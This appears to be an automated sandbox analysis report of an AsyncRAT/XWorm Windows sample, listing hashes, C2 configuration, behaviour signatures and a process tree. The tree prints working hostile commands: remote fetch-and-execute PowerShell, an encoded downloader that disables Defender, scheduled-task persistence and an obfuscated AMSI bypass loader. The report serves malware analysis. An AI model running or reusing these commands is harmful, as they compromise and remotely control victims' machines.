asyncrat | 9d08a2533a1245b6bd3c197eded5cf142994953e5a87fc58798ddcd858a9020b

Analysis

max time kernel
13s
max time network
110s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
20/03/2024, 01:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Elite.exe
Size 63KB
Sample240320-br3htsdc47
SHA256 9d08a2533a1245b6bd3c197eded5cf142994953e5a87fc58798ddcd858a9020b
MD5 3c9c80429dc216fc3abb76a3fa7a4799
SHA1 7c93624f570c501c41ac9cf054f7750ab7561d62
SHA512 26ae8a460785787b980a75e107eb55d8abd0908d1f445a29da074946b80c034fb47f0ed8ee8cfcb2ec06c044a05e40864103a22d13aea090944fa2313c7833c6
SSDEEP 1536:mWYCJM6ckW1P/hyL/ZTcLeUbJ60DzqdKzdpqKmY7:mWYyNcuAeUbJBJGz
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat xworm default rat trojan

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://github.com/z77f/362973/raw/main/$77APCONSVC.EXE
exe.dropper
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

asyncrat

Botnet

Default

outdoor-an.gl.at.ply.gg:65524

Mutex

4Yo勒5MT81Ε6aOu诶勒bZBN8T

Attributes

delay
1
install
true
install_file
$77.exe
install_folder
%AppData%

aes.plain

Extracted

Family

xworm

Mutex

REEEၹFⲾᆫMSEF⪨ꒀ㠌㠌

Attributes

Install_directory
%AppData%
install_file
$77USB.exe

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x00070000000231fd-77.dat	family_xworm
behavioral2/memory/5096-86-0x0000000000CE0000-0x0000000000CF0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0004000000022c47-40.dat	family_asyncrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
29	4360	powershell.exe
30	4360	powershell.exe
34	3656	powershell.exe
45	3656	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	Elite.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	$77APCONSVC.EXE

Executes dropped EXE 4 IoCs

pid	Process
2404	$77.exe
5064	$77APCONSVC.EXE
3300	$77SYSTEM.exe
5096	$77TCPSVCS.EXE

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
42	raw.githubusercontent.com
45	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3340	schtasks.exe
4968	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1992	timeout.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
1656	Elite.exe
4360	powershell.exe
4360	powershell.exe
4360	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
8	powershell.EXE
8	powershell.EXE
8	powershell.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1656	Elite.exe
Token: SeDebugPrivilege	4360	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	2404	$77.exe
Token: SeDebugPrivilege	5096	$77TCPSVCS.EXE
Token: SeDebugPrivilege	8	powershell.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4444	OpenWith.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 1656 wrote to memory of 4620	1656	Elite.exe	91
PID 1656 wrote to memory of 4620	1656	Elite.exe	91
PID 1656 wrote to memory of 1080	1656	Elite.exe	92
PID 1656 wrote to memory of 1080	1656	Elite.exe	92
PID 1656 wrote to memory of 4660	1656	Elite.exe	95
PID 1656 wrote to memory of 4660	1656	Elite.exe	95
PID 1080 wrote to memory of 1992	1080	cmd.exe	98
PID 1080 wrote to memory of 1992	1080	cmd.exe	98
PID 4620 wrote to memory of 3340	4620	cmd.exe	97
PID 4620 wrote to memory of 3340	4620	cmd.exe	97
PID 4660 wrote to memory of 4360	4660	cmd.exe	99
PID 4660 wrote to memory of 4360	4660	cmd.exe	99
PID 4360 wrote to memory of 3656	4360	powershell.exe	105
PID 4360 wrote to memory of 3656	4360	powershell.exe	105
PID 1080 wrote to memory of 2404	1080	cmd.exe	106
PID 1080 wrote to memory of 2404	1080	cmd.exe	106
PID 3656 wrote to memory of 5064	3656	powershell.exe	111
PID 3656 wrote to memory of 5064	3656	powershell.exe	111
PID 5064 wrote to memory of 3300	5064	$77APCONSVC.EXE	112
PID 5064 wrote to memory of 3300	5064	$77APCONSVC.EXE	112
PID 5064 wrote to memory of 3300	5064	$77APCONSVC.EXE	112
PID 5064 wrote to memory of 5096	5064	$77APCONSVC.EXE	113
PID 5064 wrote to memory of 5096	5064	$77APCONSVC.EXE	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Elite.exe
"C:\Users\Admin\AppData\Local\Temp\Elite.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77" /tr '"C:\Users\Admin\AppData\Roaming\$77.exe"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "$77" /tr '"C:\Users\Admin\AppData\Roaming\$77.exe"'
    3⤵
    - Creates scheduled task(s)
    PID:3340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp3A4A.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1080
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:1992
- - C:\Users\Admin\AppData\Roaming\$77.exe
    "C:\Users\Admin\AppData\Roaming\$77.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2404
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell "irm rentry.co/System-Settings/raw | iex"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "irm rentry.co/System-Settings/raw | iex"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABzAGUAdAB0AGkAbgBnAHMAIAA9ACAAJwB7ACIAVwBEACIAOgAgAGYAYQBsAHMAZQAsACAAIgBhAGQAbQBpAG4AcgB1AG4AIgA6ACAAZgBhAGwAcwBlAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuADsAJAByAGEAbgBkAG8AbQBTAHQAcgBpAG4AZwAgAD0AIAAiADUAWQBQAEQAdgBQAGkAUwBvAFYAIgA7AGkAZgAgACgAJABzAGUAdAB0AGkAbgBnAHMALgBXAEQAKQAgAHsAJABzAGUAdAB0AGkAbgBnAHMALgBhAGQAbQBpAG4AcgB1AG4AIAA9ACAAJAB0AHIAdQBlADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBuAGkAbgBoAHAAbgAxADMAMwA3AC8ARABpAHMAYQBiAGwAZQAtAFcAaQBuAGQAbwB3AHMALQBEAGUAZgBlAG4AZABlAHIALwBtAGEAaQBuAC8AcwBvAHUAcgBjAGUALgBiAGEAdAAnACwAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AVwBhAGkAdAAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AH0AOwBpAGYAIAAoACQAcwBlAHQAdABpAG4AZwBzAC4AYQBkAG0AaQBuAHIAdQBuACkAIAB7ACQAdQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAHoANwA3AGYALwAzADYAMgA5ADcAMwAvAHIAYQB3AC8AbQBhAGkAbgAvACQANwA3AEEAUABDAE8ATgBTAFYAQwAuAEUAWABFACcAOwAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAIAA9ACAAJABlAG4AdgA6AFQARQBNAFAAIAArACAAJwBcACcAIAArACAAJwAkADcANwBBAFAAQwBPAE4AUwBWAEMALgBFAFgARQAnADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAdQByAGwALAAgACQAbwB1AHQAcAB1AHQAUABhAHQAaAApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAbwB1AHQAcAB1AHQAUABhAHQAaAAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AH0AZQBsAHMAZQAgAHsAJAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AegA3ADcAZgAvADMANgAyADkANwAzAC8AcgBhAHcALwBtAGEAaQBuAC8AJAA3ADcAQQBQAEMATwBOAFMAVgBDAC4ARQBYAEUAJwA7ACQAbwB1AHQAcAB1AHQAUABhAHQAaAAgAD0AIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAnACQANwA3AEEAUABDAE8ATgBTAFYAQwAuAEUAWABFACcAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACAAJABvAHUAdABwAHUAdABQAGEAdABoACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABvAHUAdABwAHUAdABQAGEAdABoADsAfQA=
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3656
    - - C:\Users\Admin\AppData\Local\Temp\$77APCONSVC.EXE
        
        "C:\Users\Admin\AppData\Local\Temp\$77APCONSVC.EXE"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5064
      - C:\Users\Admin\AppData\Local\Temp\$77SYSTEM.exe
        
        "C:\Users\Admin\AppData\Local\Temp\$77SYSTEM.exe"
        6⤵
        Executes dropped EXE
        
        PID:3300
      - C:\Users\Admin\AppData\Local\Temp\$77TCPSVCS.EXE
        
        "C:\Users\Admin\AppData\Local\Temp\$77TCPSVCS.EXE"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5096
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77TCPSVCS" /tr "C:\Users\Admin\AppData\Roaming\$77TCPSVCS.EXE"
        7⤵
        Creates scheduled task(s)
        
        PID:4968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:PsstbqUMCvcr{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vvTNASykpMeXAK,[Parameter(Position=1)][Type]$ROKHKLlKxg)$qXYPmyBfpRB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+'t'+''+[Char](101)+''+'d'+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+'e'+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+'M'+''+'o'+''+'d'+''+[Char](117)+'l'+'e'+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+'p'+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+'s'+'s'+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+'c'+[Char](44)+''+[Char](83)+''+'e'+''+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+''+'i'+'C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+'Cla'+[Char](115)+''+'s'+'',[MulticastDelegate]);$qXYPmyBfpRB.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+''+'S'+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$vvTNASykpMeXAK).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+'e'+[Char](100)+'');$qXYPmyBfpRB.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+'S'+[Char](105)+'g,'+[Char](78)+'ewS'+'l'+''+[Char](111)+'t,Virtu'+'a'+''+[Char](108)+'',$ROKHKLlKxg,$vvTNASykpMeXAK).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+'t'+'i'+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+'n'+'a'+'g'+'e'+[Char](100)+'');Write-Output $qXYPmyBfpRB.CreateType();}$dAqwIiLARXepu=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+'t'+'e'+''+'m'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+'i'+'c'+[Char](114)+''+'o'+''+[Char](115)+'o'+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+'3'+''+'2'+'.'+[Char](85)+'n'+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+'e'+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$urfgYBXObsVbSJ=$dAqwIiLARXepu.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+'P'+'r'+[Char](111)+''+'c'+'A'+'d'+'d'+'r'+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+','+'Sta'+'t'+''+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XxIvbeWasDTxcaQXZsC=PsstbqUMCvcr @([String])([IntPtr]);$UhrZHEgyJagUxYiQPuOnuB=PsstbqUMCvcr @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$lsHzfgyLzlB=$dAqwIiLARXepu.GetMethod(''+'G'+''+[Char](101)+'tM'+'o'+''+'d'+'ul'+'e'+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+''+'l'+'3'+[Char](50)+''+'.'+'d'+[Char](108)+''+[Char](108)+'')));$oiWxbPcaSjqEYV=$urfgYBXObsVbSJ.Invoke($Null,@([Object]$lsHzfgyLzlB,[Object](''+'L'+''+[Char](111)+'a'+'d'+'L'+[Char](105)+'b'+'r'+''+'a'+''+[Char](114)+'y'+'A'+'')));$BesAFwwnSHsGpGEtx=$urfgYBXObsVbSJ.Invoke($Null,@([Object]$lsHzfgyLzlB,[Object](''+[Char](86)+''+'i'+'r'+'t'+'u'+[Char](97)+''+'l'+''+'P'+''+'r'+'o'+'t'+'e'+[Char](99)+''+[Char](116)+'')));$kwScvpo=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oiWxbPcaSjqEYV,$XxIvbeWasDTxcaQXZsC).Invoke(''+'a'+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+'ll');$KWlHDAuRaJjFDcFyN=$urfgYBXObsVbSJ.Invoke($Null,@([Object]$kwScvpo,[Object](''+[Char](65)+''+[Char](109)+'s'+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+'B'+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$rFnOOicRhp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BesAFwwnSHsGpGEtx,$UhrZHEgyJagUxYiQPuOnuB).Invoke($KWlHDAuRaJjFDcFyN,[uint32]8,4,[ref]$rFnOOicRhp);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$KWlHDAuRaJjFDcFyN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BesAFwwnSHsGpGEtx,$UhrZHEgyJagUxYiQPuOnuB).Invoke($KWlHDAuRaJjFDcFyN,[uint32]8,0x20,[ref]$rFnOOicRhp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](36)+''+'7'+''+'7'+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:8

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:4444
- C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Desktop\MergeRequest.jtx"
  2⤵
  PID:460

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{b415c0c7-c11e-4684-92b7-c04651fbec7d}
1⤵
PID:1932

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:5112

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:4332

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:3228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 1c68a8d5fb2a3d57a9eaeb1e64cc457f3f4e268a54cbf8aeaf5084fd401e59bc
MD5 f62a904508f640cf7a29c69cdda7ed8e
SHA1 79e4bd22e96aa94c783f5521b5b2a549c58ed24f
SHA512 0a5bdaf832544123470af0204145dc38830dbbf0e8b6623b89bbaca5970e5c0506356e4ad9d9a589bd3394768ff949215c3fea2d2542da16ffb60708c0f2c544
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 66336c120c2ca8968651db4c3227544073905c70f3356309bf26e61978044b34
MD5 b94b79c2c6b3292336511e65711f3ec4
SHA1 c91f883f8d02901b86d9865d9475e0d0701a4745
SHA512 ab4cdad8501b832306aa0beef7402da6299bc446b84a3c2f0f69ca4a936ec360ea059f13205ed307aa9346587ab32594d4a3d6917d15c33a7132367590c40ed7
MD5 SHA1 SHA512

Submit Download

$77APCONSVC.EXE

Path C:\Users\Admin\AppData\Local\Temp\$77APCONSVC.EXE
Size 182KB
SHA256 555e0c40af959eb3c9be32197ebf39aea443fe672086e004cc0141296de67d7a
MD5 0ccb78c036b77af2a02939c10863d0fc
SHA1 77b58cc239c67abf271a7e68c10592a8a4d5bae1
SHA512 29f194f6118f558a31515538d758934d59959a9aeed1a2ae9e929b762166843a4433b10b0f5ded0698c141d36fc12ae54860ecbb8d36ba6ca2f92cb946f39a5c
SSDEEP 3072:kqnrHDcvpeckZNQKAxjJshfOiFIY/wHzaQ0tV09DrtKfDKpyO5tTMc/EIp4x349M:kqnrHIvpe9ZNQP0hfLguQa0drAfY9TNL
MD5 SHA1 SHA512 SSDEEP

Submit Download

$77SYSTEM.exe

Path C:\Users\Admin\AppData\Local\Temp\$77SYSTEM.exe
Size 162KB
SHA256 a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
MD5 152e3f07bbaf88fb8b097ba05a60df6e
SHA1 c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA512 2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
SSDEEP 3072:KQpsO4jaqeCDcvpeCkZNQgAxjJ2hfOiFIYHwHzaQ09V098F/fUO5tTl:KQpsO4jajCIvpe/ZNQZuhfLguQ00KHTl
MD5 SHA1 SHA512 SSDEEP

Submit Download

$77TCPSVCS.EXE
